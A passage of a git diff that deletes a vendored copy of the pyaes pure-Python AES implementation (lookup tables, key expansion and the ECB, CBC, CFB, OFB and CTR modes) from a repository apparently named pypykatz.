-    U2 = [ 0x00000000, 0x0b0e090d, 0x161c121a, 0x1d121b17, 0x2c382434, 0x27362d39, 0x3a24362e, 0x312a3f23, 0x58704868, 0x537e4165, 0x4e6c5a72, 0x4562537f, 0x74486c5c, 0x7f466551, 0x62547e46, 0x695a774b, 0xb0e090d0, 0xbbee99dd, 0xa6fc82ca, 0xadf28bc7, 0x9cd8b4e4, 0x97d6bde9, 0x8ac4a6fe, 0x81caaff3, 0xe890d8b8, 0xe39ed1b5, 0xfe8ccaa2, 0xf582c3af, 0xc4a8fc8c, 0xcfa6f581, 0xd2b4ee96, 0xd9bae79b, 0x7bdb3bbb, 0x70d532b6, 0x6dc729a1, 0x66c920ac, 0x57e31f8f, 0x5ced1682, 0x41ff0d95, 0x4af10498, 0x23ab73d3, 0x28a57ade, 0x35b761c9, 0x3eb968c4, 0x0f9357e7, 0x049d5eea, 0x198f45fd, 0x12814cf0, 0xcb3bab6b, 0xc035a266, 0xdd27b971, 0xd629b07c, 0xe7038f5f, 0xec0d8652, 0xf11f9d45, 0xfa119448, 0x934be303, 0x9845ea0e, 0x8557f119, 0x8e59f814, 0xbf73c737, 0xb47dce3a, 0xa96fd52d, 0xa261dc20, 0xf6ad766d, 0xfda37f60, 0xe0b16477, 0xebbf6d7a, 0xda955259, 0xd19b5b54, 0xcc894043, 0xc787494e, 0xaedd3e05, 0xa5d33708, 0xb8c12c1f, 0xb3cf2512, 0x82e51a31, 0x89eb133c, 0x94f9082b, 0x9ff70126, 0x464de6bd, 0x4d43efb0, 0x5051f4a7, 0x5b5ffdaa, 0x6a75c289, 0x617bcb84, 0x7c69d093, 0x7767d99e, 0x1e3daed5, 0x1533a7d8, 0x0821bccf, 0x032fb5c2, 0x32058ae1, 0x390b83ec, 0x241998fb, 0x2f1791f6, 0x8d764dd6, 0x867844db, 0x9b6a5fcc, 0x906456c1, 0xa14e69e2, 0xaa4060ef, 0xb7527bf8, 0xbc5c72f5, 0xd50605be, 0xde080cb3, 0xc31a17a4, 0xc8141ea9, 0xf93e218a, 0xf2302887, 0xef223390, 0xe42c3a9d, 0x3d96dd06, 0x3698d40b, 0x2b8acf1c, 0x2084c611, 0x11aef932, 0x1aa0f03f, 0x07b2eb28, 0x0cbce225, 0x65e6956e, 0x6ee89c63, 0x73fa8774, 0x78f48e79, 0x49deb15a, 0x42d0b857, 0x5fc2a340, 0x54ccaa4d, 0xf741ecda, 0xfc4fe5d7, 0xe15dfec0, 0xea53f7cd, 0xdb79c8ee, 0xd077c1e3, 0xcd65daf4, 0xc66bd3f9, 0xaf31a4b2, 0xa43fadbf, 0xb92db6a8, 0xb223bfa5, 0x83098086, 0x8807898b, 0x9515929c, 0x9e1b9b91, 0x47a17c0a, 0x4caf7507, 0x51bd6e10, 0x5ab3671d, 0x6b99583e, 0x60975133, 0x7d854a24, 0x768b4329, 0x1fd13462, 0x14df3d6f, 0x09cd2678, 0x02c32f75, 0x33e91056, 0x38e7195b, 0x25f5024c, 0x2efb0b41, 0x8c9ad761, 0x8794de6c, 0x9a86c57b, 0x9188cc76, 0xa0a2f355, 0xabacfa58, 0xb6bee14f, 0xbdb0e842, 0xd4ea9f09, 0xdfe49604, 0xc2f68d13, 0xc9f8841e, 0xf8d2bb3d, 0xf3dcb230, 0xeecea927, 0xe5c0a02a, 0x3c7a47b1, 0x37744ebc, 0x2a6655ab, 0x21685ca6, 0x10426385, 0x1b4c6a88, 0x065e719f, 0x0d507892, 0x640a0fd9, 0x6f0406d4, 0x72161dc3, 0x791814ce, 0x48322bed, 0x433c22e0, 0x5e2e39f7, 0x552030fa, 0x01ec9ab7, 0x0ae293ba, 0x17f088ad, 0x1cfe81a0, 0x2dd4be83, 0x26dab78e, 0x3bc8ac99, 0x30c6a594, 0x599cd2df, 0x5292dbd2, 0x4f80c0c5, 0x448ec9c8, 0x75a4f6eb, 0x7eaaffe6, 0x63b8e4f1, 0x68b6edfc, 0xb10c0a67, 0xba02036a, 0xa710187d, 0xac1e1170, 0x9d342e53, 0x963a275e, 0x8b283c49, 0x80263544, 0xe97c420f, 0xe2724b02, 0xff605015, 0xf46e5918, 0xc544663b, 0xce4a6f36, 0xd3587421, 0xd8567d2c, 0x7a37a10c, 0x7139a801, 0x6c2bb316, 0x6725ba1b, 0x560f8538, 0x5d018c35, 0x40139722, 0x4b1d9e2f, 0x2247e964, 0x2949e069, 0x345bfb7e, 0x3f55f273, 0x0e7fcd50, 0x0571c45d, 0x1863df4a, 0x136dd647, 0xcad731dc, 0xc1d938d1, 0xdccb23c6, 0xd7c52acb, 0xe6ef15e8, 0xede11ce5, 0xf0f307f2, 0xfbfd0eff, 0x92a779b4, 0x99a970b9, 0x84bb6bae, 0x8fb562a3, 0xbe9f5d80, 0xb591548d, 0xa8834f9a, 0xa38d4697 ]
-    U3 = [ 0x00000000, 0x0d0b0e09, 0x1a161c12, 0x171d121b, 0x342c3824, 0x3927362d, 0x2e3a2436, 0x23312a3f, 0x68587048, 0x65537e41, 0x724e6c5a, 0x7f456253, 0x5c74486c, 0x517f4665, 0x4662547e, 0x4b695a77, 0xd0b0e090, 0xddbbee99, 0xcaa6fc82, 0xc7adf28b, 0xe49cd8b4, 0xe997d6bd, 0xfe8ac4a6, 0xf381caaf, 0xb8e890d8, 0xb5e39ed1, 0xa2fe8cca, 0xaff582c3, 0x8cc4a8fc, 0x81cfa6f5, 0x96d2b4ee, 0x9bd9bae7, 0xbb7bdb3b, 0xb670d532, 0xa16dc729, 0xac66c920, 0x8f57e31f, 0x825ced16, 0x9541ff0d, 0x984af104, 0xd323ab73, 0xde28a57a, 0xc935b761, 0xc43eb968, 0xe70f9357, 0xea049d5e, 0xfd198f45, 0xf012814c, 0x6bcb3bab, 0x66c035a2, 0x71dd27b9, 0x7cd629b0, 0x5fe7038f, 0x52ec0d86, 0x45f11f9d, 0x48fa1194, 0x03934be3, 0x0e9845ea, 0x198557f1, 0x148e59f8, 0x37bf73c7, 0x3ab47dce, 0x2da96fd5, 0x20a261dc, 0x6df6ad76, 0x60fda37f, 0x77e0b164, 0x7aebbf6d, 0x59da9552, 0x54d19b5b, 0x43cc8940, 0x4ec78749, 0x05aedd3e, 0x08a5d337, 0x1fb8c12c, 0x12b3cf25, 0x3182e51a, 0x3c89eb13, 0x2b94f908, 0x269ff701, 0xbd464de6, 0xb04d43ef, 0xa75051f4, 0xaa5b5ffd, 0x896a75c2, 0x84617bcb, 0x937c69d0, 0x9e7767d9, 0xd51e3dae, 0xd81533a7, 0xcf0821bc, 0xc2032fb5, 0xe132058a, 0xec390b83, 0xfb241998, 0xf62f1791, 0xd68d764d, 0xdb867844, 0xcc9b6a5f, 0xc1906456, 0xe2a14e69, 0xefaa4060, 0xf8b7527b, 0xf5bc5c72, 0xbed50605, 0xb3de080c, 0xa4c31a17, 0xa9c8141e, 0x8af93e21, 0x87f23028, 0x90ef2233, 0x9de42c3a, 0x063d96dd, 0x0b3698d4, 0x1c2b8acf, 0x112084c6, 0x3211aef9, 0x3f1aa0f0, 0x2807b2eb, 0x250cbce2, 0x6e65e695, 0x636ee89c, 0x7473fa87, 0x7978f48e, 0x5a49deb1, 0x5742d0b8, 0x405fc2a3, 0x4d54ccaa, 0xdaf741ec, 0xd7fc4fe5, 0xc0e15dfe, 0xcdea53f7, 0xeedb79c8, 0xe3d077c1, 0xf4cd65da, 0xf9c66bd3, 0xb2af31a4, 0xbfa43fad, 0xa8b92db6, 0xa5b223bf, 0x86830980, 0x8b880789, 0x9c951592, 0x919e1b9b, 0x0a47a17c, 0x074caf75, 0x1051bd6e, 0x1d5ab367, 0x3e6b9958, 0x33609751, 0x247d854a, 0x29768b43, 0x621fd134, 0x6f14df3d, 0x7809cd26, 0x7502c32f, 0x5633e910, 0x5b38e719, 0x4c25f502, 0x412efb0b, 0x618c9ad7, 0x6c8794de, 0x7b9a86c5, 0x769188cc, 0x55a0a2f3, 0x58abacfa, 0x4fb6bee1, 0x42bdb0e8, 0x09d4ea9f, 0x04dfe496, 0x13c2f68d, 0x1ec9f884, 0x3df8d2bb, 0x30f3dcb2, 0x27eecea9, 0x2ae5c0a0, 0xb13c7a47, 0xbc37744e, 0xab2a6655, 0xa621685c, 0x85104263, 0x881b4c6a, 0x9f065e71, 0x920d5078, 0xd9640a0f, 0xd46f0406, 0xc372161d, 0xce791814, 0xed48322b, 0xe0433c22, 0xf75e2e39, 0xfa552030, 0xb701ec9a, 0xba0ae293, 0xad17f088, 0xa01cfe81, 0x832dd4be, 0x8e26dab7, 0x993bc8ac, 0x9430c6a5, 0xdf599cd2, 0xd25292db, 0xc54f80c0, 0xc8448ec9, 0xeb75a4f6, 0xe67eaaff, 0xf163b8e4, 0xfc68b6ed, 0x67b10c0a, 0x6aba0203, 0x7da71018, 0x70ac1e11, 0x539d342e, 0x5e963a27, 0x498b283c, 0x44802635, 0x0fe97c42, 0x02e2724b, 0x15ff6050, 0x18f46e59, 0x3bc54466, 0x36ce4a6f, 0x21d35874, 0x2cd8567d, 0x0c7a37a1, 0x017139a8, 0x166c2bb3, 0x1b6725ba, 0x38560f85, 0x355d018c, 0x22401397, 0x2f4b1d9e, 0x642247e9, 0x692949e0, 0x7e345bfb, 0x733f55f2, 0x500e7fcd, 0x5d0571c4, 0x4a1863df, 0x47136dd6, 0xdccad731, 0xd1c1d938, 0xc6dccb23, 0xcbd7c52a, 0xe8e6ef15, 0xe5ede11c, 0xf2f0f307, 0xfffbfd0e, 0xb492a779, 0xb999a970, 0xae84bb6b, 0xa38fb562, 0x80be9f5d, 0x8db59154, 0x9aa8834f, 0x97a38d46 ]
-    U4 = [ 0x00000000, 0x090d0b0e, 0x121a161c, 0x1b171d12, 0x24342c38, 0x2d392736, 0x362e3a24, 0x3f23312a, 0x48685870, 0x4165537e, 0x5a724e6c, 0x537f4562, 0x6c5c7448, 0x65517f46, 0x7e466254, 0x774b695a, 0x90d0b0e0, 0x99ddbbee, 0x82caa6fc, 0x8bc7adf2, 0xb4e49cd8, 0xbde997d6, 0xa6fe8ac4, 0xaff381ca, 0xd8b8e890, 0xd1b5e39e, 0xcaa2fe8c, 0xc3aff582, 0xfc8cc4a8, 0xf581cfa6, 0xee96d2b4, 0xe79bd9ba, 0x3bbb7bdb, 0x32b670d5, 0x29a16dc7, 0x20ac66c9, 0x1f8f57e3, 0x16825ced, 0x0d9541ff, 0x04984af1, 0x73d323ab, 0x7ade28a5, 0x61c935b7, 0x68c43eb9, 0x57e70f93, 0x5eea049d, 0x45fd198f, 0x4cf01281, 0xab6bcb3b, 0xa266c035, 0xb971dd27, 0xb07cd629, 0x8f5fe703, 0x8652ec0d, 0x9d45f11f, 0x9448fa11, 0xe303934b, 0xea0e9845, 0xf1198557, 0xf8148e59, 0xc737bf73, 0xce3ab47d, 0xd52da96f, 0xdc20a261, 0x766df6ad, 0x7f60fda3, 0x6477e0b1, 0x6d7aebbf, 0x5259da95, 0x5b54d19b, 0x4043cc89, 0x494ec787, 0x3e05aedd, 0x3708a5d3, 0x2c1fb8c1, 0x2512b3cf, 0x1a3182e5, 0x133c89eb, 0x082b94f9, 0x01269ff7, 0xe6bd464d, 0xefb04d43, 0xf4a75051, 0xfdaa5b5f, 0xc2896a75, 0xcb84617b, 0xd0937c69, 0xd99e7767, 0xaed51e3d, 0xa7d81533, 0xbccf0821, 0xb5c2032f, 0x8ae13205, 0x83ec390b, 0x98fb2419, 0x91f62f17, 0x4dd68d76, 0x44db8678, 0x5fcc9b6a, 0x56c19064, 0x69e2a14e, 0x60efaa40, 0x7bf8b752, 0x72f5bc5c, 0x05bed506, 0x0cb3de08, 0x17a4c31a, 0x1ea9c814, 0x218af93e, 0x2887f230, 0x3390ef22, 0x3a9de42c, 0xdd063d96, 0xd40b3698, 0xcf1c2b8a, 0xc6112084, 0xf93211ae, 0xf03f1aa0, 0xeb2807b2, 0xe2250cbc, 0x956e65e6, 0x9c636ee8, 0x877473fa, 0x8e7978f4, 0xb15a49de, 0xb85742d0, 0xa3405fc2, 0xaa4d54cc, 0xecdaf741, 0xe5d7fc4f, 0xfec0e15d, 0xf7cdea53, 0xc8eedb79, 0xc1e3d077, 0xdaf4cd65, 0xd3f9c66b, 0xa4b2af31, 0xadbfa43f, 0xb6a8b92d, 0xbfa5b223, 0x80868309, 0x898b8807, 0x929c9515, 0x9b919e1b, 0x7c0a47a1, 0x75074caf, 0x6e1051bd, 0x671d5ab3, 0x583e6b99, 0x51336097, 0x4a247d85, 0x4329768b, 0x34621fd1, 0x3d6f14df, 0x267809cd, 0x2f7502c3, 0x105633e9, 0x195b38e7, 0x024c25f5, 0x0b412efb, 0xd7618c9a, 0xde6c8794, 0xc57b9a86, 0xcc769188, 0xf355a0a2, 0xfa58abac, 0xe14fb6be, 0xe842bdb0, 0x9f09d4ea, 0x9604dfe4, 0x8d13c2f6, 0x841ec9f8, 0xbb3df8d2, 0xb230f3dc, 0xa927eece, 0xa02ae5c0, 0x47b13c7a, 0x4ebc3774, 0x55ab2a66, 0x5ca62168, 0x63851042, 0x6a881b4c, 0x719f065e, 0x78920d50, 0x0fd9640a, 0x06d46f04, 0x1dc37216, 0x14ce7918, 0x2bed4832, 0x22e0433c, 0x39f75e2e, 0x30fa5520, 0x9ab701ec, 0x93ba0ae2, 0x88ad17f0, 0x81a01cfe, 0xbe832dd4, 0xb78e26da, 0xac993bc8, 0xa59430c6, 0xd2df599c, 0xdbd25292, 0xc0c54f80, 0xc9c8448e, 0xf6eb75a4, 0xffe67eaa, 0xe4f163b8, 0xedfc68b6, 0x0a67b10c, 0x036aba02, 0x187da710, 0x1170ac1e, 0x2e539d34, 0x275e963a, 0x3c498b28, 0x35448026, 0x420fe97c, 0x4b02e272, 0x5015ff60, 0x5918f46e, 0x663bc544, 0x6f36ce4a, 0x7421d358, 0x7d2cd856, 0xa10c7a37, 0xa8017139, 0xb3166c2b, 0xba1b6725, 0x8538560f, 0x8c355d01, 0x97224013, 0x9e2f4b1d, 0xe9642247, 0xe0692949, 0xfb7e345b, 0xf2733f55, 0xcd500e7f, 0xc45d0571, 0xdf4a1863, 0xd647136d, 0x31dccad7, 0x38d1c1d9, 0x23c6dccb, 0x2acbd7c5, 0x15e8e6ef, 0x1ce5ede1, 0x07f2f0f3, 0x0efffbfd, 0x79b492a7, 0x70b999a9, 0x6bae84bb, 0x62a38fb5, 0x5d80be9f, 0x548db591, 0x4f9aa883, 0x4697a38d ]
-
-    def __init__(self, key):
-
-        if len(key) not in (16, 24, 32):
-            raise ValueError('Invalid key size')
-
-        rounds = self.number_of_rounds[len(key)]
-
-        # Encryption round keys
-        self._Ke = [[0] * 4 for i in xrange(rounds + 1)]
-
-        # Decryption round keys
-        self._Kd = [[0] * 4 for i in xrange(rounds + 1)]
-
-        round_key_count = (rounds + 1) * 4
-        KC = len(key) // 4
-
-        # Convert the key into ints
-        tk = [ struct.unpack('>i', key[i:i + 4])[0] for i in xrange(0, len(key), 4) ]
-
-        # Copy values into round key arrays
-        for i in xrange(0, KC):
-            self._Ke[i // 4][i % 4] = tk[i]
-            self._Kd[rounds - (i // 4)][i % 4] = tk[i]
-
-        # Key expansion (fips-197 section 5.2)
-        rconpointer = 0
-        t = KC
-        while t < round_key_count:
-
-            tt = tk[KC - 1]
-            tk[0] ^= ((self.S[(tt >> 16) & 0xFF] << 24) ^
-                      (self.S[(tt >>  8) & 0xFF] << 16) ^
-                      (self.S[ tt        & 0xFF] <<  8) ^
-                       self.S[(tt >> 24) & 0xFF]        ^
-                      (self.rcon[rconpointer] << 24))
-            rconpointer += 1
-
-            if KC != 8:
-                for i in xrange(1, KC):
-                    tk[i] ^= tk[i - 1]
-
-            # Key expansion for 256-bit keys is "slightly different" (fips-197)
-            else:
-                for i in xrange(1, KC // 2):
-                    tk[i] ^= tk[i - 1]
-                tt = tk[KC // 2 - 1]
-
-                tk[KC // 2] ^= (self.S[ tt        & 0xFF]        ^
-                               (self.S[(tt >>  8) & 0xFF] <<  8) ^
-                               (self.S[(tt >> 16) & 0xFF] << 16) ^
-                               (self.S[(tt >> 24) & 0xFF] << 24))
-
-                for i in xrange(KC // 2 + 1, KC):
-                    tk[i] ^= tk[i - 1]
-
-            # Copy values into round key arrays
-            j = 0
-            while j < KC and t < round_key_count:
-                self._Ke[t // 4][t % 4] = tk[j]
-                self._Kd[rounds - (t // 4)][t % 4] = tk[j]
-                j += 1
-                t += 1
-
-        # Inverse-Cipher-ify the decryption round key (fips-197 section 5.3)
-        for r in xrange(1, rounds):
-            for j in xrange(0, 4):
-                tt = self._Kd[r][j]
-                self._Kd[r][j] = (self.U1[(tt >> 24) & 0xFF] ^
-                                  self.U2[(tt >> 16) & 0xFF] ^
-                                  self.U3[(tt >>  8) & 0xFF] ^
-                                  self.U4[ tt        & 0xFF])
-
-    def encrypt(self, plaintext):
-        'Encrypt a block of plain text using the AES block cipher.'
-
-        if len(plaintext) != 16:
-            raise ValueError('wrong block length')
-
-        rounds = len(self._Ke) - 1
-        (s1, s2, s3) = [1, 2, 3]
-        a = [0, 0, 0, 0]
-
-        # Convert plaintext to (ints ^ key)
-        t = [(_compact_word(plaintext[4 * i:4 * i + 4]) ^ self._Ke[0][i]) for i in xrange(0, 4)]
-
-        # Apply round transforms
-        for r in xrange(1, rounds):
-            for i in xrange(0, 4):
-                a[i] = (self.T1[(t[ i          ] >> 24) & 0xFF] ^
-                        self.T2[(t[(i + s1) % 4] >> 16) & 0xFF] ^
-                        self.T3[(t[(i + s2) % 4] >>  8) & 0xFF] ^
-                        self.T4[ t[(i + s3) % 4]        & 0xFF] ^
-                        self._Ke[r][i])
-            t = copy.copy(a)
-
-        # The last round is special
-        result = [ ]
-        for i in xrange(0, 4):
-            tt = self._Ke[rounds][i]
-            result.append((self.S[(t[ i           ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
-            result.append((self.S[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
-            result.append((self.S[(t[(i + s2) % 4] >>  8) & 0xFF] ^ (tt >>  8)) & 0xFF)
-            result.append((self.S[ t[(i + s3) % 4]        & 0xFF] ^  tt       ) & 0xFF)
-
-        return result
-
-    def decrypt(self, ciphertext):
-        'Decrypt a block of cipher text using the AES block cipher.'
-
-        if len(ciphertext) != 16:
-            raise ValueError('wrong block length')
-
-        rounds = len(self._Kd) - 1
-        (s1, s2, s3) = [3, 2, 1]
-        a = [0, 0, 0, 0]
-
-        # Convert ciphertext to (ints ^ key)
-        t = [(_compact_word(ciphertext[4 * i:4 * i + 4]) ^ self._Kd[0][i]) for i in xrange(0, 4)]
-
-        # Apply round transforms
-        for r in xrange(1, rounds):
-            for i in xrange(0, 4):
-                a[i] = (self.T5[(t[ i          ] >> 24) & 0xFF] ^
-                        self.T6[(t[(i + s1) % 4] >> 16) & 0xFF] ^
-                        self.T7[(t[(i + s2) % 4] >>  8) & 0xFF] ^
-                        self.T8[ t[(i + s3) % 4]        & 0xFF] ^
-                        self._Kd[r][i])
-            t = copy.copy(a)
-
-        # The last round is special
-        result = [ ]
-        for i in xrange(0, 4):
-            tt = self._Kd[rounds][i]
-            result.append((self.Si[(t[ i           ] >> 24) & 0xFF] ^ (tt >> 24)) & 0xFF)
-            result.append((self.Si[(t[(i + s1) % 4] >> 16) & 0xFF] ^ (tt >> 16)) & 0xFF)
-            result.append((self.Si[(t[(i + s2) % 4] >>  8) & 0xFF] ^ (tt >>  8)) & 0xFF)
-            result.append((self.Si[ t[(i + s3) % 4]        & 0xFF] ^  tt       ) & 0xFF)
-
-        return result
-
-
-class Counter(object):
-    '''A counter object for the Counter (CTR) mode of operation.
-
-       To create a custom counter, you can usually just override the
-       increment method.'''
-
-    def __init__(self, initial_value = 1):
-
-        # Convert the value into an array of bytes long
-        self._counter = [ ((initial_value >> i) % 256) for i in xrange(128 - 8, -1, -8) ]
-
-    value = property(lambda s: s._counter)
-
-    def increment(self):
-        '''Increment the counter (overflow rolls back to 0).'''
-
-        for i in xrange(len(self._counter) - 1, -1, -1):
-            self._counter[i] += 1
-
-            if self._counter[i] < 256: break
-
-            # Carry the one
-            self._counter[i] = 0
-
-        # Overflow
-        else:
-            self._counter = [ 0 ] * len(self._counter)
-
-
-class AESBlockModeOfOperation(object):
-    '''Super-class for AES modes of operation that require blocks.'''
-    def __init__(self, key):
-        self._aes = AES(key)
-
-    def decrypt(self, ciphertext):
-        raise Exception('not implemented')
-
-    def encrypt(self, plaintext):
-        raise Exception('not implemented')
-
-
-class AESStreamModeOfOperation(AESBlockModeOfOperation):
-    '''Super-class for AES modes of operation that are stream-ciphers.'''
-
-class AESSegmentModeOfOperation(AESStreamModeOfOperation):
-    '''Super-class for AES modes of operation that segment data.'''
-
-    segment_bytes = 16
-
-
-
-class AESModeOfOperationECB(AESBlockModeOfOperation):
-    '''AES Electronic Codebook Mode of Operation.
-
-       o Block-cipher, so data must be padded to 16 byte boundaries
-
-   Security Notes:
-       o This mode is not recommended
-       o Any two identical blocks produce identical encrypted values,
-         exposing data patterns. (See the image of Tux on wikipedia)
-
-   Also see:
-       o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Electronic_codebook_.28ECB.29
-       o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.1'''
-
-
-    name = "Electronic Codebook (ECB)"
-
-    def encrypt(self, plaintext):
-        if len(plaintext) != 16:
-            raise ValueError('plaintext block must be 16 bytes')
-
-        plaintext = _string_to_bytes(plaintext)
-        return _bytes_to_string(self._aes.encrypt(plaintext))
-
-    def decrypt(self, ciphertext):
-        if len(ciphertext) != 16:
-            raise ValueError('ciphertext block must be 16 bytes')
-
-        ciphertext = _string_to_bytes(ciphertext)
-        return _bytes_to_string(self._aes.decrypt(ciphertext))
-
-
-
-class AESModeOfOperationCBC(AESBlockModeOfOperation):
-    '''AES Cipher-Block Chaining Mode of Operation.
-
-       o The Initialization Vector (IV)
-       o Block-cipher, so data must be padded to 16 byte boundaries
-       o An incorrect initialization vector will only cause the first
-         block to be corrupt; all other blocks will be intact
-       o A corrupt bit in the cipher text will cause a block to be
-         corrupted, and the next block to be inverted, but all other
-         blocks will be intact.
-
-   Security Notes:
-       o This method (and CTR) ARE recommended.
-
-   Also see:
-       o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher-block_chaining_.28CBC.29
-       o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.2'''
-
-
-    name = "Cipher-Block Chaining (CBC)"
-
-    def __init__(self, key, iv = None):
-        if iv is None:
-            self._last_cipherblock = [ 0 ] * 16
-        elif len(iv) != 16:
-            raise ValueError('initialization vector must be 16 bytes')
-        else:
-            self._last_cipherblock = _string_to_bytes(iv)
-
-        AESBlockModeOfOperation.__init__(self, key)
-
-    def encrypt(self, plaintext):
-        if len(plaintext) != 16:
-            raise ValueError('plaintext block must be 16 bytes')
-
-        plaintext = _string_to_bytes(plaintext)
-        precipherblock = [ (p ^ l) for (p, l) in zip(plaintext, self._last_cipherblock) ]
-        self._last_cipherblock = self._aes.encrypt(precipherblock)
-
-        return _bytes_to_string(self._last_cipherblock)
-
-    def decrypt(self, ciphertext):
-        if len(ciphertext) != 16:
-            raise ValueError('ciphertext block must be 16 bytes')
-
-        cipherblock = _string_to_bytes(ciphertext)
-        plaintext = [ (p ^ l) for (p, l) in zip(self._aes.decrypt(cipherblock), self._last_cipherblock) ]
-        self._last_cipherblock = cipherblock
-
-        return _bytes_to_string(plaintext)
-
-
-
-class AESModeOfOperationCFB(AESSegmentModeOfOperation):
-    '''AES Cipher Feedback Mode of Operation.
-
-       o A stream-cipher, so input does not need to be padded to blocks,
-         but does need to be padded to segment_size
-
-    Also see:
-       o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Cipher_feedback_.28CFB.29
-       o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.3'''
-
-
-    name = "Cipher Feedback (CFB)"
-
-    def __init__(self, key, iv, segment_size = 1):
-        if segment_size == 0: segment_size = 1
-
-        if iv is None:
-            self._shift_register = [ 0 ] * 16
-        elif len(iv) != 16:
-            raise ValueError('initialization vector must be 16 bytes')
-        else:
-          self._shift_register = _string_to_bytes(iv)
-
-        self._segment_bytes = segment_size
-
-        AESBlockModeOfOperation.__init__(self, key)
-
-    segment_bytes = property(lambda s: s._segment_bytes)
-
-    def encrypt(self, plaintext):
-        if len(plaintext) % self._segment_bytes != 0:
-            raise ValueError('plaintext block must be a multiple of segment_size')
-
-        plaintext = _string_to_bytes(plaintext)
-
-        # Break block into segments
-        encrypted = [ ]
-        for i in xrange(0, len(plaintext), self._segment_bytes):
-            plaintext_segment = plaintext[i: i + self._segment_bytes]
-            xor_segment = self._aes.encrypt(self._shift_register)[:len(plaintext_segment)]
-            cipher_segment = [ (p ^ x) for (p, x) in zip(plaintext_segment, xor_segment) ]
-
-            # Shift the top bits out and the ciphertext in
-            self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment)
-
-            encrypted.extend(cipher_segment)
-
-        return _bytes_to_string(encrypted)
-
-    def decrypt(self, ciphertext):
-        if len(ciphertext) % self._segment_bytes != 0:
-            raise ValueError('ciphertext block must be a multiple of segment_size')
-
-        ciphertext = _string_to_bytes(ciphertext)
-
-        # Break block into segments
-        decrypted = [ ]
-        for i in xrange(0, len(ciphertext), self._segment_bytes):
-            cipher_segment = ciphertext[i: i + self._segment_bytes]
-            xor_segment = self._aes.encrypt(self._shift_register)[:len(cipher_segment)]
-            plaintext_segment = [ (p ^ x) for (p, x) in zip(cipher_segment, xor_segment) ]
-
-            # Shift the top bits out and the ciphertext in
-            self._shift_register = _concat_list(self._shift_register[len(cipher_segment):], cipher_segment)
-
-            decrypted.extend(plaintext_segment)
-
-        return _bytes_to_string(decrypted)
-
-
-
-class AESModeOfOperationOFB(AESStreamModeOfOperation):
-    '''AES Output Feedback Mode of Operation.
-
-       o A stream-cipher, so input does not need to be padded to blocks,
-         allowing arbitrary length data.
-       o A bit twiddled in the cipher text, twiddles the same bit in the
-         same bit in the plain text, which can be useful for error
-         correction techniques.
-
-    Also see:
-       o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Output_feedback_.28OFB.29
-       o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.4'''
-
-
-    name = "Output Feedback (OFB)"
-
-    def __init__(self, key, iv = None):
-        if iv is None:
-            self._last_precipherblock = [ 0 ] * 16
-        elif len(iv) != 16:
-            raise ValueError('initialization vector must be 16 bytes')
-        else:
-          self._last_precipherblock = _string_to_bytes(iv)
-
-        self._remaining_block = [ ]
-
-        AESBlockModeOfOperation.__init__(self, key)
-
-    def encrypt(self, plaintext):
-        encrypted = [ ]
-        for p in _string_to_bytes(plaintext):
-            if len(self._remaining_block) == 0:
-                self._remaining_block = self._aes.encrypt(self._last_precipherblock)
-                self._last_precipherblock = [ ]
-            precipherbyte = self._remaining_block.pop(0)
-            self._last_precipherblock.append(precipherbyte)
-            cipherbyte = p ^ precipherbyte
-            encrypted.append(cipherbyte)
-
-        return _bytes_to_string(encrypted)
-
-    def decrypt(self, ciphertext):
-        # AES-OFB is symetric
-        return self.encrypt(ciphertext)
-
-
-
-class AESModeOfOperationCTR(AESStreamModeOfOperation):
-    '''AES Counter Mode of Operation.
-
-       o A stream-cipher, so input does not need to be padded to blocks,
-         allowing arbitrary length data.
-       o The counter must be the same size as the key size (ie. len(key))
-       o Each block independant of the other, so a corrupt byte will not
-         damage future blocks.
-       o Each block has a uniue counter value associated with it, which
-         contributes to the encrypted value, so no data patterns are
-         leaked.
-       o Also known as: Counter Mode (CM), Integer Counter Mode (ICM) and
-         Segmented Integer Counter (SIC
-
-   Security Notes:
-       o This method (and CBC) ARE recommended.
-       o Each message block is associated with a counter value which must be
-         unique for ALL messages with the same key. Otherwise security may be
-         compromised.
-
-    Also see:
-
-       o https://en.wikipedia.org/wiki/Block_cipher_mode_of_operation#Counter_.28CTR.29
-       o See NIST SP800-38A (http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf); section 6.5
-         and Appendix B for managing the initial counter'''
-
-
-    name = "Counter (CTR)"
-
-    def __init__(self, key, counter = None):
-        AESBlockModeOfOperation.__init__(self, key)
-
-        if counter is None:
-            counter = Counter()
-
-        self._counter = counter
-        self._remaining_counter = [ ]
-
-    def encrypt(self, plaintext):
-        while len(self._remaining_counter) < len(plaintext):
-            self._remaining_counter += self._aes.encrypt(self._counter.value)
-            self._counter.increment()
-
-        plaintext = _string_to_bytes(plaintext)
-
-        encrypted = [ (p ^ c) for (p, c) in zip(plaintext, self._remaining_counter) ]
-        self._remaining_counter = self._remaining_counter[len(encrypted):]
-
-        return _bytes_to_string(encrypted)
-
-    def decrypt(self, crypttext):
-        # AES-CTR is symetric
-        return self.encrypt(crypttext)
-
-
-# Simple lookup table for each mode
-AESModesOfOperation = dict(
-    ctr = AESModeOfOperationCTR,
-    cbc = AESModeOfOperationCBC,
-    cfb = AESModeOfOperationCFB,
-    ecb = AESModeOfOperationECB,
-    ofb = AESModeOfOperationOFB,
-)
diff --git a/pypykatz/crypto/aes/__init__.py b/pypykatz/crypto/aes/__init__.py
deleted file mode 100644
index 15010d5..0000000
--- a/pypykatz/crypto/aes/__init__.py
+++ /dev/null
@@ -1,54 +0,0 @@
-#https://raw.githubusercontent.com/ricmoo/pyaes/master/pyaes/__init__.py
-# The MIT License (MIT)
-#
-# Copyright (c) 2014 Richard Moore
-#
-# Permission is hereby granted, free of charge, to any person obtaining a copy
-# of this software and associated documentation files (the "Software"), to deal
-# in the Software without restriction, including without limitation the rights
